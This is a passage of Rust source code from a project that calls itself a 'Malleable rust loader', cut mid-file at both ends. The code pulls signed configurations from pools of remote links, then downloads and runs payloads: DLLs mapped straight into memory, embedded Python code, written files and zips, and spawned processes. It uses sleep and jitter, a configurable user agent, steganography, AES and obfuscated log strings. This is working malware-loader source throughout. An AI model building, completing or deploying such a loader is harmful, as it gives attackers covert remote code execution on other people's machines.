anyhow::Error> { 121 | debug!("{}", encrypt_string!("dataoperation: STEGANO encode")); 122 | 123 | let input_image: String = env::var("STEGANO_INPUT_IMAGE").unwrap(); 124 | let output_image: String = env::var("STEGANO_OUTPUT_IMAGE").unwrap(); 125 | debug!( 126 | "{}{}", 127 | encrypt_string!("STEGANO_INPUT_IMAGE: "), 128 | input_image 129 | ); 130 | debug!( 131 | "{}{}", 132 | encrypt_string!("STEGANO_OUTPUT_IMAGE: "), 133 | output_image 134 | ); 135 | let img: image::ImageBuffer, Vec> = hide_mod(data, &input_image); 136 | 137 | //TODO, try to remove this part 138 | //let output_image: String = format! {"{}.stegano.png",input_image}; 139 | debug!("{}{}", encrypt_string!("IMAGE SAVE to "), &output_image); 140 | img.save(output_image).unwrap(); 141 | 142 | //this part is useless as vec is not the good way to save IMAGE 143 | // TODO: try to img.export to vec, and then save it later differently 144 | Ok(img.to_vec()) 145 | } 146 | 147 | fn zlib_encode(&self, data: Vec) -> Result, anyhow::Error> { 148 | debug!("{}", encrypt_string!("dataoperation: ZLIB encode")); 149 | //let mut e: ZlibEncoder> = ZlibEncoder::new(Vec::new(), Compression::default()); 150 | let mut e: ZlibEncoder> = ZlibEncoder::new(Vec::new(), Compression::best()); 151 | let _ = e.write_all(&data); 152 | let compressed_bytes = e.finish()?; 153 | Ok(compressed_bytes) 154 | } 155 | } 156 | 157 | impl ApplyDataOperation for DataOperation { 158 | fn apply_one_operation(&mut self, data: Vec) -> Result, anyhow::Error> { 159 | match self { 160 | DataOperation::BASE64 => self.base64_encode(data), 161 | DataOperation::ROT13 => self.rot13_encode(data), 162 | DataOperation::WEBPAGE => self.webpage_create(data), 163 | DataOperation::AES(aes_material) => aes_material.encrypt_aes(data), 164 | DataOperation::STEGANO => self.stegano_encode_lsb(data), 165 | DataOperation::ZLIB => self.zlib_encode(data), 166 | DataOperation::REVERSE => todo!(), 167 | DataOperation::SHA256(sha256) => sha256.check_sha256(data), 168 | } 169 | } 170 | } 171 | 172 | pub fn apply_all_dataoperations( 173 | data_operations: &mut Vec, 174 | mut data: Vec, 175 | ) -> Result, anyhow::Error> { 176 | data_operations.reverse(); 177 | for operation in data_operations { 178 | data = operation.apply_one_operation(data)?; 179 | } 180 | Ok(data) 181 | } 182 | 183 | pub fn un_apply_all_dataoperations( 184 | dataoperation: Vec, 185 | mut data: Vec, 186 | ) -> Result, anyhow::Error> { 187 | for operation in dataoperation { 188 | //info!("un_apply_one :{:?}",operation); 189 | data = operation.un_apply_one_operation(data)?; 190 | } 191 | Ok(data) 192 | } 193 | 194 | use aes_gcm_siv::{ 195 | aead::{Aead, KeyInit, OsRng}, 196 | Aes256GcmSiv, 197 | Nonce, // Or `Aes128GcmSiv` 198 | }; 199 | use anyhow::bail; 200 | 201 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 202 | pub struct AesMaterial { 203 | pub key: Vec, 204 | pub nonce: [u8; 12], 205 | } 206 | impl AesMaterial { 207 | fn decrypt_aes(&self, ciphertext: Vec) -> Result, anyhow::Error> { 208 | debug!("{}", encrypt_string!("dataoperation: AES decrypt")); 209 | let key: aes_gcm_siv::aead::generic_array::GenericArray = 210 | aes_gcm_siv::aead::generic_array::GenericArray::clone_from_slice(&self.key); 211 | let cipher = Aes256GcmSiv::new(&key); 212 | let nonce = Nonce::from_slice(&self.nonce); // 96-bits; unique per message 213 | let plaintext: Vec = match cipher.decrypt(nonce, ciphertext.as_ref()) { 214 | Ok(data) => data, 215 | Err(e) => bail!("plaintext error: {}", e), 216 | }; 217 | Ok(plaintext) 218 | } 219 | 220 | fn encrypt_aes(&mut self, plaintext: Vec) -> Result, anyhow::Error> { 221 | debug!("{}", encrypt_string!("dataoperation: AES encrypt")); 222 | let key: aes_gcm_siv::aead::generic_array::GenericArray = 223 | aes_gcm_siv::aead::generic_array::GenericArray::clone_from_slice(&self.key); 224 | let cipher = Aes256GcmSiv::new(&key); 225 | let nonce: &aes_gcm_siv::aead::generic_array::GenericArray< 226 | u8, 227 | aes_gcm_siv::aead::generic_array::typenum::UInt< 228 | aes_gcm_siv::aead::generic_array::typenum::UInt< 229 | aes_gcm_siv::aead::generic_array::typenum::UInt< 230 | aes_gcm_siv::aead::generic_array::typenum::UInt< 231 | aes_gcm_siv::aead::generic_array::typenum::UTerm, 232 | aes_gcm_siv::aead::consts::B1, 233 | >, 234 | aes_gcm_siv::aead::consts::B1, 235 | >, 236 | aes_gcm_siv::aead::consts::B0, 237 | >, 238 | aes_gcm_siv::aead::consts::B0, 239 | >, 240 | > = Nonce::from_slice(&self.nonce); 241 | let plaintext_u8: &[u8] = &plaintext; 242 | let ciphertext: Vec = match cipher.encrypt(nonce, plaintext_u8) { 243 | Ok(data) => data, 244 | Err(e) => bail!("ciphertext error: {}", e), 245 | }; 246 | Ok(ciphertext) 247 | } 248 | pub fn generate_aes_material() -> AesMaterial { 249 | let key: aes_gcm_siv::aead::generic_array::GenericArray = 250 | Aes256GcmSiv::generate_key(&mut OsRng); 251 | // 96-bits; unique per message 252 | let mut nonce = [0u8; 12]; 253 | rand::thread_rng().fill(&mut nonce); 254 | let nonce_slice: &[u8; 12] = &nonce; 255 | AesMaterial { 256 | key: key.as_slice().to_owned(), 257 | nonce: nonce_slice.to_owned(), 258 | } 259 | } 260 | } 261 | -------------------------------------------------------------------------------- /src/poollink.rs: -------------------------------------------------------------------------------- 1 | use crate::config::Config; 2 | use crate::link::Link; 3 | use crate::link::LinkFetch; 4 | use crate::payload::Payload; 5 | 6 | use anyhow::bail; 7 | use rand::seq::SliceRandom; 8 | use serde::{Deserialize, Serialize}; 9 | use std::thread; 10 | 11 | use cryptify::encrypt_string; 12 | use log::debug; 13 | use log::info; 14 | use log::warn; 15 | 16 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 17 | pub struct Advanced { 18 | pub random: u64, // fetch only x random link from pool and ignore the other, (0 not set) 19 | pub max_link_broken: u64, // how many accepted link broken before switch to next pool if no conf found, (0 not set) 20 | pub parallel: bool, // try to fetch every link in the same time, if not its one by one 21 | pub linear: bool, // fetch link in the order or randomized 22 | pub stop_same: bool, // stop if found the same conf -> not for parallel_fetch 23 | pub stop_new: bool, // stop if found a new conf -> not for parallel_fetch 24 | pub accept_old: bool, // accept conf older than the active one -> true not recommended, need to fight against hypothetic valid config replay. 25 | } 26 | 27 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 28 | pub enum PoolMode { 29 | SIMPLE, 30 | ADVANCED(Advanced), 31 | } 32 | 33 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 34 | pub struct PoolLinks { 35 | pub pool_mode: PoolMode, 36 | pub pool_links: Vec, 37 | } 38 | 39 | impl PoolLinks { 40 | pub fn update_pool( 41 | &self, 42 | config: &Config, 43 | session_id: &String, 44 | running_thread: &Vec, 45 | ) -> Result { 46 | match &self.pool_mode { 47 | PoolMode::SIMPLE => self.update_links_simple(config, session_id, running_thread), 48 | PoolMode::ADVANCED(advanced) => { 49 | self.update_links_advanced(config, advanced, session_id, running_thread) 50 | } 51 | } 52 | } 53 | 54 | //TODO update with date check and remove DECISION message, only print the config number if needed. 55 | pub fn update_links_simple( 56 | &self, 57 | config: &Config, 58 | session_id: &String, 59 | running_thread: &Vec, 60 | ) -> Result { 61 | let advanced = Advanced { 62 | random: 0, // fetch only x random link from pool and ignore the other, (0 not set) 63 | max_link_broken: 0, // how many accepted link broken before switch to next pool if no conf found, (0 not set) 64 | parallel: false, // try to fetch every link in the same time, if not its one by one 65 | linear: true, // fetch link in the order or randomized 66 | stop_same: false, // stop if found the same conf -> not for parallel 67 | stop_new: false, // stop if found a new conf -> not for parallel 68 | accept_old: false, // accept conf older than the active one -> true not recommended, need to fight against hypothetic valid config replay. 69 | }; 70 | self.update_links_advanced(config, &advanced, session_id, running_thread) 71 | } 72 | 73 | pub fn update_links_advanced( 74 | &self, 75 | config: &Config, 76 | advanced: &Advanced, 77 | session_id: &String, 78 | running_thread: &Vec, 79 | ) -> Result { 80 | let pool_link: Vec; 81 | 82 | // create pool_links 83 | if advanced.random != 0 { 84 | info!( 85 | "{}{}/{}", 86 | encrypt_string!("[+] randomly choose only "), 87 | advanced.random, 88 | self.pool_links.len() 89 | ); 90 | let sample: Vec = self 91 | .pool_links 92 | .choose_multiple( 93 | &mut rand::thread_rng(), 94 | advanced 95 | .random 96 | .try_into() 97 | .expect("Value too large to fit into usize"), 98 | ) 99 | .cloned() 100 | .collect(); 101 | pool_link = sample; 102 | } else if advanced.linear { 103 | pool_link = self.pool_links.clone(); 104 | } else { 105 | todo!() 106 | //pool_link=todo!() // TODO not linear -> randomized order, on devrait ptet renommer comme ça. 107 | } 108 | 109 | let pool_link_len: usize = pool_link.len(); 110 | let mut link_nb: i32 = 0; 111 | let mut newconfig_list: Vec<(Config, i32)> = vec![]; 112 | 113 | // fetch pool_links and choose a VALID config 114 | if advanced.parallel { 115 | info!("{}", encrypt_string!("[+] fetch all link in parallel")); 116 | let mut handle_list: Vec>> = 117 | vec![]; 118 | for link in pool_link { 119 | link_nb = link_nb + 1; 120 | info!( 121 | "{}/{}{}{:?}", 122 | link_nb, 123 | &pool_link_len, 124 | encrypt_string!(" Link: "), 125 | &link.get_target() 126 | ); 127 | //parallel 128 | 129 | let thread_link = link.clone(); 130 | let thread_config = config.clone(); 131 | let thread_advanced = advanced.clone(); 132 | let thread_session_id = session_id.clone(); 133 | let thread_running_thread = running_thread.clone(); 134 | let handle: thread::JoinHandle> = 135 | thread::spawn(move || { 136 | debug!("{}{}", encrypt_string!("thread begin, link: "), link_nb); 137 | let newconfig: Config = thread_link.fetch_config( 138 | &thread_config, 139 | &thread_advanced, 140 | link_nb, 141 | &thread_session_id, 142 | &thread_running_thread, 143 | )?; 144 | debug!("{}{}", encrypt_string!("thread end, link: {}"), link_nb); 145 | Ok((newconfig, link_nb)) 146 | }); 147 | handle_list.push(handle); 148 | //not parallel 149 | } 150 | 151 | info!( 152 | "{}", 153 | encrypt_string!("[+] all thread run to fetch a config, wait them finish to join") 154 | ); 155 | 156 | for handle in handle_list { 157 | match handle.join() { 158 | Ok(Ok(conf_i)) => newconfig_list.push(conf_i), 159 | Ok(Err(error)) => warn!("{}{:?}", encrypt_string!("Thread failed: "), error), 160 | Err(error) => warn!("{}{:?}", encrypt_string!("Thread failed: "), error), 161 | }; 162 | } 163 | info!( 164 | "{}{}/{}{}", 165 | encrypt_string!("[+] all thread finish, "), 166 | newconfig_list.len(), 167 | pool_link_len, 168 | encrypt_string!(" succeed") 169 | ); 170 | } else { 171 | info!("{}", encrypt_string!("[+] fetch all link one by one")); 172 | for link in pool_link { 173 | link_nb = link_nb + 1; 174 | info!( 175 | "{}/{}{}{:?}", 176 | link_nb, 177 | &pool_link_len, 178 | encrypt_string!(" Link: "), 179 | &link.get_target() 180 | ); 181 | let newconfig: Config = match link.fetch_config( 182 | config, 183 | advanced, 184 | link_nb, 185 | session_id, 186 | running_thread, 187 | ) { 188 | Ok(newconfig) => { 189 | info!( 190 | "{}{}", 191 | encrypt_string!("[+] choose config of link "), 192 | link_nb 193 | ); 194 | newconfig 195 | } 196 | Err(error) => { 197 | warn!("{}{:?}", encrypt_string!("Check failed: "), error); 198 | continue; 199 | } 200 | }; 201 | if advanced.stop_same && config.is_same_loader(&newconfig) { 202 | return Ok(newconfig); 203 | } else if advanced.stop_new && config.date < newconfig.date { 204 | return Ok(newconfig); 205 | } else { 206 | newconfig_list.push((newconfig, link_nb)); 207 | } 208 | } 209 | 210 | info!( 211 | "[+] all fetch finish, {}/{} succeed", 212 | newconfig_list.len(), 213 | pool_link_len 214 | ); 215 | } 216 | 217 | self.choose_config_from_config_list(config, advanced, newconfig_list) 218 | } 219 | 220 | pub fn choose_config_from_config_list( 221 | &self, 222 | config: &Config, 223 | _advanced: &Advanced, 224 | config_list: Vec<(Config, i32)>, 225 | ) -> Result { 226 | if config_list.len() == 0 { 227 | bail!( 228 | "{}", 229 | encrypt_string!("No VALID config found in Pool: all link checked") 230 | ) 231 | } 232 | 233 | //TODO max_link_broken -> en fonction de la taille de config_list, ca donne combien de lien broken ? , pour ca il faudrait checker pool_link_len 234 | 235 | // place the first config as choosen config 236 | debug!( 237 | "{}", 238 | encrypt_string!("[+] Begin to choose the config to return from pool") 239 | ); 240 | 241 | let mut config_choosen: Config = config_list[0].0.clone(); 242 | let mut nb_choosen: i32 = config_list[0].1.clone(); 243 | debug!( 244 | "{}{}", 245 | encrypt_string!("initial choosen config, link: "), 246 | nb_choosen 247 | ); 248 | 249 | // if more config, compare date to choosen one 250 | if config_list.len() >= 2 { 251 | for (newconf, i) in config_list[1..].to_vec() { 252 | if config_choosen.date <= newconf.date { 253 | if newconf.is_same_loader(&config_choosen) { 254 | debug! {"{}{}",encrypt_string!("config date : OK, same config as choosen, link "),i}; 255 | } else { 256 | config_choosen = newconf; 257 | nb_choosen = i; 258 | debug! {"{}{}",encrypt_string!("config date : OK, NEW choosen config, link "),nb_choosen}; 259 | } 260 | } else { 261 | debug! {"{}{}",encrypt_string!("config date : TOO OLD, link "),i}; 262 | } 263 | } 264 | } 265 | if config.date <= config_choosen.date { 266 | info!( 267 | "{}{}", 268 | encrypt_string!("[+] choose config of link "), 269 | nb_choosen 270 | ); 271 | Ok(config_choosen) 272 | } else { 273 | info!( 274 | "{}{}", 275 | encrypt_string!("[+] all conf are older than actual config date: "), 276 | config.date 277 | ); 278 | bail!( 279 | "{}{}", 280 | encrypt_string!( 281 | "No VALID config found in Pool: actual running config.date is superior to all config: " 282 | ), config.date 283 | ) 284 | } 285 | } 286 | } 287 | -------------------------------------------------------------------------------- /src/payload.rs: -------------------------------------------------------------------------------- 1 | use crate::config::Config; 2 | use crate::link::{Link, LinkFetch}; 3 | use crate::payload_util::calculate_path; 4 | use crate::payload_util::create_diretory; 5 | use crate::payload_util::same_hash_sha512; 6 | 7 | #[cfg(target_os = "linux")] 8 | use crate::payload_util::fail_linux_message; 9 | #[cfg(target_os = "linux")] 10 | use crate::payload_util::set_permission; 11 | 12 | #[cfg(target_os = "windows")] 13 | use std::os::raw::c_int; 14 | #[cfg(target_os = "windows")] 15 | type DllEntryPoint = extern "C" fn() -> c_int; 16 | #[cfg(target_os = "windows")] 17 | use crate::python_embedder; 18 | #[cfg(target_os = "windows")] 19 | use std::mem; 20 | 21 | use anyhow::Result; 22 | use serde::{Deserialize, Serialize}; 23 | use std::fs::File; 24 | use std::io::stdout; 25 | use std::io::Cursor; 26 | use std::io::Write; 27 | use std::path::PathBuf; 28 | use std::process::Command; 29 | use std::{thread, time}; 30 | 31 | use cryptify::encrypt_string; 32 | use log::debug; 33 | use log::error; 34 | use log::info; 35 | 36 | pub enum PayloadExec { 37 | NoThread(), 38 | Thread(thread::JoinHandle<()>, Payload), 39 | } 40 | 41 | #[derive(PartialEq, Serialize, Deserialize, Debug, Clone)] 42 | pub enum Payload { 43 | DllFromMemory(DllFromMemory), 44 | ExecPython(ExecPython), 45 | Banner(), 46 | WriteZip(WriteZip), 47 | WriteFile(WriteFile), 48 | Exec(Exec), 49 | } 50 | impl Payload { 51 | pub fn exec_payload(&self, config: &Config) -> PayloadExec { 52 | let exec_result = match &self { 53 | Payload::Banner() => banner(), 54 | Payload::WriteFile(payload) => payload.write_file(config), 55 | Payload::WriteZip(payload) => payload.write_zip(config), 56 | Payload::Exec(payload) => payload.exec_file(), 57 | Payload::ExecPython(payload) => payload.exec_python_with_embedder(), 58 | Payload::DllFromMemory(payload) => payload.dll_from_memory(config), 59 | }; 60 | match exec_result { 61 | Ok(a) => a, 62 | Err(e) => { 63 | error!("{}{}", encrypt_string!("exec error: "), e); 64 | PayloadExec::NoThread() 65 | } 66 | } 67 | } 68 | pub fn print_payload(&self) { 69 | debug!("{:#?}", self); 70 | } 71 | pub fn print_payload_compact(&self) { 72 | debug!("+{:?}", self); 73 | } 74 | pub fn string_payload_compact(&self) -> String { 75 | format!("{:?}", self) 76 | } 77 | pub fn is_same_payload(&self, other_payload: &Payload) -> bool { 78 | let self_serialized = serde_json::to_string(self).unwrap(); 79 | let other_serialized = serde_json::to_string(other_payload).unwrap(); 80 | self_serialized == other_serialized 81 | } 82 | pub fn is_already_running( 83 | &self, 84 | running_thread: &mut Vec<(thread::JoinHandle<()>, Payload)>, 85 | ) -> bool { 86 | for running_payload in &mut *running_thread { 87 | if self.is_same_payload(&running_payload.1) { 88 | info!("{}", encrypt_string!("Payload is already running")); 89 | return true; 90 | } 91 | } 92 | return false; 93 | } 94 | } 95 | 96 | #[derive(PartialEq, Serialize, Deserialize, Debug, Clone)] 97 | pub struct DllFromMemory { 98 | pub link: Link, 99 | pub dll_entrypoint: String, 100 | pub thread: bool, 101 | } 102 | 103 | impl DllFromMemory { 104 | #[cfg(target_os = "linux")] 105 | pub fn dll_from_memory(&self, _config: &Config) -> Result { 106 | fail_linux_message(format!("{}", encrypt_string!("DllFromMemory"))); 107 | Ok(PayloadExec::NoThread()) 108 | } 109 | 110 | #[cfg(target_os = "windows")] 111 | pub fn dll_from_memory(&self, config: &Config) -> Result { 112 | let data: Vec = self.link.fetch_data(config)?; 113 | 114 | if self.thread { 115 | let thread_dll_entrypoint = self.dll_entrypoint.clone(); 116 | let dllthread = thread::spawn(move || { 117 | let dll_data: &[u8] = &data; 118 | 119 | info!("{}", encrypt_string!("Map DLL in memory")); 120 | let mm = memorymodule_rs::MemoryModule::new(dll_data); 121 | 122 | info!( 123 | "{}{}", 124 | encrypt_string!("Retreive DLL entrypoint: "), 125 | &thread_dll_entrypoint 126 | ); 127 | let dll_entry_point = unsafe { 128 | mem::transmute::<_, DllEntryPoint>(mm.get_function(&thread_dll_entrypoint)) 129 | }; 130 | info!("{}", encrypt_string!("dll_entry_point()")); 131 | 132 | let result = dll_entry_point(); 133 | debug!("{}{}", encrypt_string!("DLL result = "), result); 134 | }); 135 | return Ok(PayloadExec::Thread( 136 | dllthread, 137 | Payload::DllFromMemory(self.clone()), 138 | )); 139 | } else { 140 | let dll_data: &[u8] = &data; 141 | info!("{}", encrypt_string!("Map DLL in memory")); 142 | let mm = memorymodule_rs::MemoryModule::new(dll_data); 143 | 144 | info!( 145 | "{}{}", 146 | encrypt_string!("Retreive DLL entrypoint: "), 147 | &self.dll_entrypoint 148 | ); 149 | let dll_entry_point = unsafe { 150 | mem::transmute::<_, DllEntryPoint>(mm.get_function(&self.dll_entrypoint)) 151 | }; 152 | info!("{}", encrypt_string!("dll_entry_point()")); 153 | 154 | let result = dll_entry_point(); 155 | debug!("{}{}", encrypt_string!("DLL result = "), result); 156 | return Ok(PayloadExec::NoThread()); 157 | } 158 | // TODO quand on part d'ici, il y a un probleme 159 | } 160 | } 161 | 162 | #[derive(PartialEq, Serialize, Deserialize, Debug, Clone)] 163 | pub struct ExecPython { 164 | pub path: String, //path of python directory 165 | pub python_code: String, 166 | pub thread: bool, 167 | } 168 | impl ExecPython { 169 | #[cfg(target_os = "linux")] 170 | pub fn exec_python_with_embedder(&self) -> Result { 171 | fail_linux_message(format!("{}", encrypt_string!("ExecPython"))); 172 | Ok(PayloadExec::NoThread()) 173 | } 174 | 175 | #[cfg(target_os = "windows")] 176 | pub fn exec_python_with_embedder(&self) -> Result { 177 | //use crate::python_embedder; 178 | 179 | let path: PathBuf = calculate_path(&self.path)?; 180 | 181 | info!( 182 | "{}{}\n", 183 | encrypt_string!("execute python with Embedder: "), 184 | &self.python_code 185 | ); 186 | if self.thread { 187 | let thread_python_path = path.clone(); 188 | let thread_python_code = self.python_code.clone(); 189 | let tj: thread::JoinHandle<()> = thread::spawn(move || { 190 | python_embedder::embedder(&thread_python_path, &thread_python_code); 191 | }); 192 | return Ok(PayloadExec::Thread(tj, Payload::ExecPython(self.clone()))); 193 | } else { 194 | python_embedder::embedder(&path, &self.python_code); 195 | return Ok(PayloadExec::NoThread()); 196 | } 197 | } 198 | } 199 | 200 | pub fn banner() -> Result { 201 | //TODO encrypt this str 202 | let banner: &str = r#" 203 | ╓╖ 204 | , ▒╗, ▒▒▒▒╖ ╓▒▒ 205 | Malleable ░░▒▒▒╖▒▒▒▒╣╣╖▒▒▒┐ 206 | ┬─┐┬ ┬┌─┐┌┬┐ ▒▒@▒╓▒░░░░░░▒▒▒▒▒▒▒▒▒╢▓╖╓╓╖H┐ 207 | ├┬┘│ │└─┐ │ ▒░░░░▒``▒░░░░░▒▒▒▒▒▒╢▒╢╢▒▒░` 208 | ┴└─└─┘└─┘ ┴ ,╓╓╓╥ ░░░░░░░▒▒▒▒▒▒▒▒▒╢╢ 209 | LOADER ` ▒` ░░░░▒▒▒▒▒▒▒╢╢▒╣▒ÑH╗ 210 | ,▄ ░░░▒▒▒▒▒▒▒╢▒▒▒╢▒▒▒╜ 211 | ╓╖ ╓ ██ ░▓``██▒▒▒▒▒▒▒╢▒╢╣╣ 212 | │ █████▌ ░▐█,▄███▒▒░░▒▒▒▒╢╢╢@╖ 213 | ╙▒ └███▀ └█████▌Ñ░░░▒▒▒▒╢╢╣▒▒░╣ 214 | .¿ ▄▄▄▄▄▄░"▀▀ `░░░▒▒╫╣╢╢╢╢╣╣╓▒▒ 215 | :`` ,, ╙████▀ , ░╫╬Ñ╜▒▒▒▒▒╣╢╫@▒╙▓╖ 216 | ,░ ▒╢╫╢╢▓▒╜H ░ ╨╨╜╙╙░ '▒▒╢▒▒▒╢▒╣▓▒▓▓╖ 217 | ▒ ░ ▒╙╢╢╢╢▓, ` ░▒▒╢▒▒▒╢▒▓░╙╢N 218 | └╜▒▒@@ '░▒╢╣╢╢╣@, ╓░▒ ▒░▒▒╢▒▒╣▒╢╣ ╙╙▒ 219 | ╙ ▒░▒╢╢╣╢▓╢╗ ▒╙░░▒╢▒╢╜╨╢▒ 220 | ╙▒░▒╢▒╣╣╣╨ ░ ` ░▒░║╣╢╜ ` 221 | "╨▒╜╢╢Ñ ░▒╜ 222 | ``a "#; 223 | 224 | info!("{}", encrypt_string!("BANNER")); 225 | let sleep_time = time::Duration::from_millis(3); 226 | for c in banner.chars() { 227 | print!("{}", c); 228 | let _ = stdout().flush(); 229 | thread::sleep(sleep_time); 230 | } 231 | println!(""); 232 | let sleep_time = time::Duration::from_millis(3000); 233 | thread::sleep(sleep_time); 234 | Ok(PayloadExec::NoThread()) 235 | } 236 | 237 | #[derive(PartialEq, Serialize, Deserialize, Debug, Clone)] 238 | pub struct WriteZip { 239 | pub link: Link, 240 | pub path: String, 241 | } 242 | 243 | impl WriteZip { 244 | pub fn write_zip(&self, config: &Config) -> Result { 245 | //TODO found a way, not to recreate everything every time this payload run 246 | let path: PathBuf = calculate_path(&self.path)?; 247 | let _ = create_diretory(&path)?; 248 | 249 | let archive: Vec = self.link.fetch_data(config)?; 250 | 251 | info!("{}{:?}", encrypt_string!("[+] Write zip: "), path); 252 | match zip_extract::extract(Cursor::new(archive), &path, true) { 253 | Ok(_) => {} 254 | Err(error) => { 255 | error!( 256 | "{}{}", 257 | encrypt_string!("error to unzip python lib: "), 258 | error 259 | ) 260 | } 261 | } 262 | 263 | Ok(PayloadExec::NoThread()) 264 | } 265 | } 266 | 267 | #[derive(PartialEq, Serialize, Deserialize, Debug, Clone)] 268 | pub struct WriteFile { 269 | pub link: Link, 270 | pub path: String, 271 | pub hash: String, // optionnal hash to verify if an existing file should be replaced or not. 272 | } 273 | 274 | impl WriteFile { 275 | pub fn write_file(&self, config: &Config) -> Result { 276 | let path: PathBuf = calculate_path(&self.path)?; 277 | 278 | if same_hash_sha512(&self.hash, &path) == false { 279 | let _ = create_diretory(&path)?; 280 | 281 | let body: Vec = self.link.fetch_data(config)?; 282 | 283 | info!("{}{:?}", encrypt_string!("[+] Write file: "), path); 284 | let mut f = File::create(&path)?; 285 | f.write_all(&body)?; 286 | } else { 287 | info!("{}{:?}", encrypt_string!("[+] No Write, same hash: "), path); 288 | } 289 | Ok(PayloadExec::NoThread()) 290 | } 291 | } 292 | 293 | #[derive(PartialEq, Serialize, Deserialize, Debug, Clone)] 294 | pub struct Exec { 295 | pub path: String, 296 | pub cmdline: String, 297 | pub thread: bool, 298 | } 299 | impl Exec { 300 | // https://doc.rust-lang.org/std/process/struct.Command.html 301 | pub fn exec_file(&self) -> Result { 302 | let path: PathBuf = calculate_path(&self.path)?; 303 | info!("{}{:?} {}", encrypt_string!("Exec "), &path, &self.cmdline); 304 | let mut comm = Command::new(&path); 305 | 306 | #[cfg(target_os = "linux")] 307 | set_permission(&path); 308 | 309 | for i in self.cmdline.trim().split_whitespace() { 310 | comm.arg(i); 311 | } 312 | if self.thread { 313 | let tj: thread::JoinHandle<()> = thread::spawn(move || { 314 | let mut c = comm 315 | .spawn() 316 | .expect(&encrypt_string!("failed to execute process")); 317 | let _ = c.wait(); 318 | }); 319 | return Ok(PayloadExec::Thread(tj, Payload::Exec(self.clone()))); 320 | } else { 321 | let _output: std::process::Output = comm 322 | .output() 323 | .expect(&encrypt_string!("failed to execute process")); 324 | //let _hello: Vec = output.stdout; 325 | return Ok(PayloadExec::NoThread()); 326 | }; 327 | } 328 | } 329 | -------------------------------------------------------------------------------- /src/config.rs: -------------------------------------------------------------------------------- 1 | use crate::defuse::{Defuse, Operator}; 2 | use crate::payload::Payload; 3 | use crate::payload::PayloadExec; 4 | use crate::poollink::PoolLinks; 5 | 6 | use chksum_sha2_512 as sha2_512; 7 | use chrono::prelude::*; 8 | use rand::Rng; 9 | use ring::signature::Ed25519KeyPair; 10 | use ring::signature::{self, KeyPair}; 11 | use serde::{Deserialize, Serialize}; 12 | use std::collections::BTreeMap; 13 | use std::format; 14 | use std::fs; 15 | use std::{thread, time}; 16 | 17 | use cryptify::encrypt_string; 18 | use log::debug; 19 | use log::info; 20 | use log::warn; 21 | 22 | #[derive(Serialize, Deserialize, Debug, Clone)] 23 | pub struct VerifSignMaterial { 24 | pub peer_public_key_bytes: Vec, 25 | pub sign_bytes: Vec, 26 | } 27 | 28 | #[derive(Serialize, Deserialize, Debug, Clone)] 29 | pub struct Config { 30 | pub update_links: BTreeMap, 31 | pub payloads: Vec, 32 | pub defuse_update: Vec, 33 | pub defuse_payload: Vec, 34 | pub sign_material: VerifSignMaterial, 35 | pub sleep: u64, 36 | pub jitt: u64, 37 | pub link_timeout: u64, 38 | pub link_user_agent: String, 39 | pub loader_keypair: Vec, 40 | pub date: DateTime, 41 | } 42 | 43 | //#[allow(dead_code)] 44 | impl Config { 45 | pub fn new_unsigned( 46 | update_links: BTreeMap, 47 | payloads: Vec, 48 | defuse_update: Vec, 49 | defuse_payload: Vec, 50 | sleep: u64, 51 | jitt: u64, 52 | link_timeout: u64, 53 | link_user_agent: String, 54 | loader_keypair: Vec, 55 | ) -> Config { 56 | let sign_material = VerifSignMaterial { 57 | peer_public_key_bytes: vec![], 58 | sign_bytes: vec![], 59 | }; 60 | Config { 61 | update_links: update_links, 62 | sign_material: sign_material, 63 | payloads: payloads, 64 | defuse_update: defuse_update, 65 | defuse_payload: defuse_payload, 66 | sleep: sleep, 67 | jitt: jitt, 68 | link_timeout: link_timeout, 69 | link_user_agent: link_user_agent, 70 | loader_keypair: loader_keypair, 71 | date: Utc::now(), 72 | } 73 | } 74 | pub fn new_signed( 75 | key_pair: &Ed25519KeyPair, 76 | update_links: BTreeMap, 77 | payloads: Vec, 78 | defuse_update: Vec, 79 | defuse_payload: Vec, 80 | sleep: u64, 81 | jitt: u64, 82 | link_timeout: u64, 83 | link_user_agent: String, 84 | loader_keypair: Vec, 85 | ) -> Config { 86 | let mut new_loader = Config::new_unsigned( 87 | update_links, 88 | payloads, 89 | defuse_update, 90 | defuse_payload, 91 | sleep, 92 | jitt, 93 | link_timeout, 94 | link_user_agent, 95 | loader_keypair, 96 | ); 97 | let peer_public_key_bytes = key_pair.public_key().as_ref().to_vec(); 98 | new_loader.sign_material.peer_public_key_bytes = peer_public_key_bytes; 99 | new_loader.sign_loader(key_pair); 100 | new_loader 101 | } 102 | 103 | pub fn return_sign_data(&self) -> String { 104 | let copy_loaderconf = &mut self.clone(); 105 | copy_loaderconf.sign_material.sign_bytes = vec![]; 106 | format!("sign_data: {:?}", copy_loaderconf) 107 | } 108 | 109 | pub fn sign_loader(&mut self, key_pair: &Ed25519KeyPair) { 110 | let peer_public_key_bytes = key_pair.public_key().as_ref().to_vec(); 111 | let sign_data = self.return_sign_data(); 112 | let sig: signature::Signature = key_pair.sign(sign_data.as_bytes()); 113 | let sign_bytes = sig.as_ref(); 114 | let sign_material = VerifSignMaterial { 115 | peer_public_key_bytes: peer_public_key_bytes, 116 | sign_bytes: sign_bytes.to_vec(), 117 | }; 118 | self.sign_material = sign_material; 119 | } 120 | 121 | pub fn verify_newconfig_signature( 122 | &self, 123 | newconfig: &Config, 124 | ) -> Result<(), ring::error::Unspecified> { 125 | let sign_data = newconfig.return_sign_data(); 126 | let peer_public_key = signature::UnparsedPublicKey::new( 127 | &signature::ED25519, 128 | &self.sign_material.peer_public_key_bytes, 129 | ); 130 | peer_public_key.verify(sign_data.as_bytes(), &newconfig.sign_material.sign_bytes) 131 | } 132 | 133 | pub fn new_fromfile(path_file: &str) -> Config { 134 | let loader_bytes: Vec = fs::read(path_file).unwrap(); 135 | let l = std::str::from_utf8(&loader_bytes).unwrap(); 136 | let config: Config = serde_json::from_str(l).unwrap(); 137 | config 138 | } 139 | 140 | pub fn print_loader(&self) { 141 | debug!("{:#?}", self); 142 | } 143 | pub fn print_loader_compact(&self) { 144 | debug!("{}", encrypt_string!("print_loader_compact")); 145 | debug!("{:?}", self); 146 | } 147 | pub fn serialize_to_file(&self, path_file: &str) { 148 | let serialized: String = self.concat_loader_jsondata(); 149 | fs::write(path_file, &serialized).expect("Unable to write file"); 150 | } 151 | pub fn 